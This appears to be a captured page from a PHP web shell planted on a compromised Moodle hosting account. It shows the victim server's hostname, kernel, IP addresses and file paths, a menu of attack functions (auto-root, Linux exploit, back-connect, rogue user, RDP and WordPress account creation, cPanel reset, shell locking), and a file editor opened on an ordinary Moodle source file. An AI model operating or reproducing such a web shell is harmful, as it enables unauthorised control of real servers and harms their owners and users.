Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.222
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
field
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
preset
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
css.php
1.56
KB
-rw-r--r--
data.js
1.89
KB
-rw-r--r--
deprecatedlib.php
2.43
KB
-rw-r--r--
edit.php
12
KB
-rw-rw-r--
export.php
4.67
KB
-rw-rw-r--
export_form.php
5.48
KB
-rw-r--r--
field.php
13.61
KB
-rw-rw-r--
import.php
3.85
KB
-rw-rw-r--
import_form.php
1.26
KB
-rw-rw-r--
index.php
4.87
KB
-rw-r--r--
js.php
1.57
KB
-rw-r--r--
lib.php
167.64
KB
-rw-rw-r--
locallib.php
55.9
KB
-rw-r--r--
mod_form.php
7.83
KB
-rw-r--r--
preset.php
11.36
KB
-rw-rw-r--
preset_form.php
2.9
KB
-rw-rw-r--
renderer.php
4.23
KB
-rw-rw-r--
rsslib.php
7.33
KB
-rw-r--r--
settings.php
606
B
-rw-r--r--
styles.css
2.68
KB
-rw-rw-r--
tabs.php
5.24
KB
-rw-r--r--
templates.php
15.57
KB
-rw-rw-r--
upgrade.txt
2.08
KB
-rw-r--r--
version.php
1.19
KB
-rw-rw-r--
view.php
25.97
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deprecatedlib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * List of deprecated mod_data functions. * * @package mod_data * @copyright 2021 Jun Pataleta * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Obtains the automatic completion state for this database item based on any conditions * on its settings. The call for this is in completion lib where the modulename is appended * to the function name. This is why there are unused parameters. * * @deprecated since Moodle 3.11 * @todo MDL-71196 Final deprecation in Moodle 4.3 * @see \mod_data\completion\custom_completion * @since Moodle 3.3 * @param stdClass $course Course * @param cm_info|stdClass $cm course-module * @param int $userid User ID * @param bool $type Type of comparison (or/and; can be used as return value if no conditions) * @return bool True if completed, false if not, $type if conditions not set. */ function data_get_completion_state($course, $cm, $userid, $type) { global $DB, $PAGE; // No need to call debugging here. Deprecation debugging notice already being called in \completion_info::internal_get_state(). $result = $type; // Default return value // Get data details. if (isset($PAGE->cm->id) && $PAGE->cm->id == $cm->id) { $data = $PAGE->activityrecord; } else { $data = $DB->get_record('data', array('id' => $cm->instance), '*', MUST_EXIST); } // If completion option is enabled, evaluate it and return true/false. if ($data->completionentries) { $numentries = data_numentries($data, $userid); // Check the number of entries required against the number of entries already made. if ($numentries >= $data->completionentries) { $result = true; } else { $result = false; } } return $result; }
Close